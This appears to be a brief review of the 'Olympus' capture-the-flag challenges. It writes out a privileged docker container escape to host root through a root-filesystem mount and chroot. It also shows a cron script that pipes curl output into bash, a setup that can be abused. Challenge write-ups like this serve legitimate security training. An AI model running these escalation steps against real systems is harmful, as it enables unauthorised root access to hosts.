Pwnhackcom Olympus Review

Many Olympus challenges involve virtualization. Learn to break out of QEMU emulation using MMIO bugs.

You cannot rely on public exploits or Metasploit modules alone. The Olympus challenges often feature:

docker run -it -v /:/mnt --privileged olympus/athena:latest /bin/bash

Inside container:

chroot /mnt /bin/bash

Now you are host root (Zeus).

Check crontab:

crontab -l

*/5 * * * * /opt/zeus_guard.sh

Contents of /opt/zeus_guard.sh:

#!/bin/bash
/usr/bin/curl -s http://internal.olympus/health | /bin/bash

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